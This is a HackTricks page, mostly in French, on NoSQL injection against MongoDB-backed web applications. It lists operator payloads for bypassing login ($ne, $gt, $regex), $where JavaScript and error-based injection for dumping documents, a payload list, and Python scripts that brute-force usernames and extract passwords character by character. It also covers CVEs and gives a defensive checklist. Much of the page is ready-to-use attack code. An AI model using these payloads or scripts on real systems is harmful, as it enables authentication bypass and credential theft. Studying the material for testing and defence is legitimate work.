NoSQL injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Exploit

En PHP vous pouvez envoyer un Array en changeant le paramètre envoyé de parameter=foo à parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Contournement de l’authentification basique

Utilisation de l’opérateur ‘différent’ ($ne) ou ‘supérieur’ ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

Un attaquant peut exploiter cela en saisissant des chaînes comme admin' || 'a'=='a, forçant la requête à renvoyer tous les documents en satisfaisant la condition avec une tautologie ('a'=='a'). Cela est analogue aux attaques de SQL injection où des entrées comme ' or 1=1-- - sont utilisées pour manipuler des requêtes SQL. Dans MongoDB, des injections similaires peuvent être effectuées en utilisant des entrées comme ' || 1==1//, ' || 1==1%00, ou admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extraire des informations de longueur

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extraire les informations data

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

En utilisant l’opérateur $func de la bibliothèque MongoLite (utilisée par défaut), il pourrait être possible d’exécuter une fonction arbitraire comme dans this report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Obtenir des informations depuis une autre collection

Il est possible d’utiliser $lookup pour obtenir des informations depuis une autre collection. Dans l’exemple suivant, nous lisons depuis une différente collection appelée users et récupérons les résultats de toutes les entrées dont le password correspond à un wildcard.

REMARQUE : $lookup et d’autres fonctions d’aggregation ne sont disponibles que si la fonction aggregate() a été utilisée pour effectuer la recherche au lieu des fonctions plus courantes find() ou findOne().

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Inject throw new Error(JSON.stringify(this)) dans une clause $where pour exfiltrate les documents complets via des erreurs JavaScript côté serveur (requiert que l’application leak des erreurs de base de données). Exemple:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Si l’application ne leaks que le premier document défaillant, maintenez le dump déterministe en excluant les documents que vous avez déjà récupérés. Se baser sur le dernier _id leaked constitue un paginateur simple :

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

Contourner les conditions pré/post dans syntax injection

Lorsque l’application construit le filtre Mongo comme une string avant de l’analyser, syntax injection n’est plus limitée à un seul champ et vous pouvez souvent neutraliser les conditions environnantes.

Dans les injections $where, les valeurs truthy de JavaScript et les poison null bytes restent utiles pour neutraliser les clauses finales :

' || 1 || 'x
' || 1%00

Lors d’un raw JSON filter injection, les clés dupliquées peuvent écraser des contraintes antérieures sur les parsers qui suivent une politique last-key-wins:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

Cette astuce dépend du parser et ne s’applique que lorsque l’application construit le JSON par concaténation/interpolation de chaînes en premier lieu. Elle ne s’applique pas lorsque le backend conserve la requête comme un objet structuré de bout en bout.

CVE récentes et exploits réels (2023-2025)

Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359

Versions ≤ 6.0.0 exposaient la méthode Meteor listEmojiCustom qui transmettait un objet selector contrôlé par l’utilisateur directement à find(). En injectant des opérateurs tels que {"$where":"sleep(2000)||true"} un attaquant non authentifié pouvait construire un oracle de temporisation et exfiltrer des documents. Le bug a été corrigé dans 6.0.1 en validant la forme du selector et en supprimant les opérateurs dangereux.

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

Si une application transmet des objets contrôlés par un attaquant dans populate({ match: ... }), des versions vulnérables de Mongoose permettent une search injection basée sur $where à l’intérieur du filtre de populate. CVE-2024-53900 couvrait le cas au niveau top-level ; CVE-2025-23061 couvrait un contournement où $where était imbriqué sous des opérateurs tels que $or.

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

Utilisez une allow-list et mappez explicitement les scalaires au lieu de transmettre tout l’objet request. Mongoose prend aussi en charge sanitizeFilter pour envelopper les objets d’opérateur imbriqués dans $eq, mais cela doit être considéré comme un filet de sécurité plutôt que comme un remplacement du mappage explicite des filtres :

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → confusion du filtre Mongo

Resolvers qui transmettent args.filter directement à collection.find() restent vulnérables :

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mitigations: supprimer récursivement les clés qui commencent par $, lister explicitement les opérateurs autorisés, ou valider avec des bibliothèques de schéma (Joi, Zod).

Fiche Défensive (mise à jour 2025)

  1. Supprimez ou refusez les clés commençant par $ ; si Express est en front de Mongo/Mongoose, assainissez req.body, req.query et req.params avant qu’ils n’atteignent l’ORM.
  2. Désactivez JavaScript côté serveur sur les instances MongoDB auto-hébergées (--noscripting ou security.javascriptEnabled: false) afin que $where et autres sinks JS ne soient pas disponibles.
  3. Préférez $expr et des constructeurs de requêtes typés plutôt que $where.
  4. Validez les types de données tôt (Joi/Ajv/Zod) et interdisez les tableaux ou objets là où des scalaires sont attendus pour éviter les astuces [$ne].
  5. Pour GraphQL, passez les arguments de filtre via une allow-list ; ne passez jamais d’objets non fiables (via spread) aux filtres Mongo/Mongoose.

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force des usernames et passwords de login depuis un POST login

Ceci est un script simple que vous pouvez modifier, mais les outils précédents peuvent également accomplir cette tâche.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Outils

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks